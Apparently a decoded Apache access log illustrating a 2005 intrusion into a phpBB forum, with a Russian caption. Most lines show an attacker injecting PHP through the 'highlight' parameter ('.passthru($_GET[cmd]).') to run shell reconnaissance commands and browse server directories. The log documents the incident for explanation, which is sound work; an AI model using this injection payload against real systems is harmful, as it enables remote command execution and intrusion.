Декодированный фрагмент журнального файла Apache, иллюстрирующий инцидент, описанный в статье

ppp83-237-188-59.pppoe.mtu-net.ru - - [29/Jun/2005:00:02:42 0400] "GET /Forum/viewtopic.php?t=83 HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"

ppp83-237-188-59.pppoe.mtu-net.ru - - [29/Jun/2005:00:02:43 0400] "GET /Forum/viewtopic.php?t=83 HTTP/1.1" 200 12382 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"

ppp83-237-188-59.pppoe.mtu-net.ru - - [29/Jun/2005:00:02:44 0400] "GET /Forum/viewtopic.php?t=83 HTTP/1.1" 200 31627 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"

ppp83-237-188-59.pppoe.mtu-net.ru - - [29/Jun/2005:00:03:06 0400] "GET /Forum/viewtopic.php?t=441 HTTP/1.1" 200 46545 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:18:54:55 0400] "GET /Forum/viewtopic.php?p=5 HTTP/1.1" 200 12212 "-" "firefox (compatible; firefox; FreeBSD 4.5; SV1; .NET CLR 1.1.4322)"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:18:54:58 0400] "GET /Forum/viewtopic.php?p=15 HTTP/1.1" 200 29058 "-" "firefox (compatible; firefox; FreeBSD 4.5; SV1; .NET CLR 1.1.4322)"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:18:55:13 0400] "GET /Forum/viewtopic.php?p=15&highlight='.die(123).' HTTP/1.1" 200 12442 "-" "firefox (compatible; firefox; FreeBSD 4.5; SV1; .NET CLR 1.1.4322)"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:18:56:25 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; ls ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 33302 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:18:57:02 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 29234 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:18:57:48 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd i ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30782 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:18:57:55 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd i; ls ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 31331 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:18:58:01 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd c; ls ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 31547 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:18:59:25 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; uname -a; hostname; id; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 17852 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:15:11 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; sysctl -A ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30782 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:15:23 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; which sysctl ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 31700 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:15:36 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; echo $OSTYPE ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30854 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:15:54 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; uname -a ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 31340 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:19:03 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; pwd ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30728 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:19:26 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; ls; pwd ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 33248 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:19:46 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; ls ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 33302 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:23:40 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd ..; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30854 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:23:49 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 29234 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:23:59 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd db; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 16686 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:24:07 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd ../; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30854 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:24:12 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd ../; ls ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30782 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:24:20 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd /; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 42602 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:24:40 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd /www/; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 32420 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:24:50 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd /www/htdocs/; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 32411 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:24:56 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; cd /www/htdocs/proxy/; ls -la ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 32528 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:25:08 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; ls -la .. ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30854 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:25:12 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; ls -la . ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 29234 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:25:19 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; ls -la .\. ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30854 "-" "-"

ppp11-172.pppoe.mtu-net.ru - - [29/Jun/2005:19:25:24 0400] "GET /Forum/viewtopic.php?p=15&cmd=echo _START_ ; ls -la .. ; echo _END_&highlight='.passthru($_GET[cmd]).' HTTP/1.1" 200 30854 "-" "-"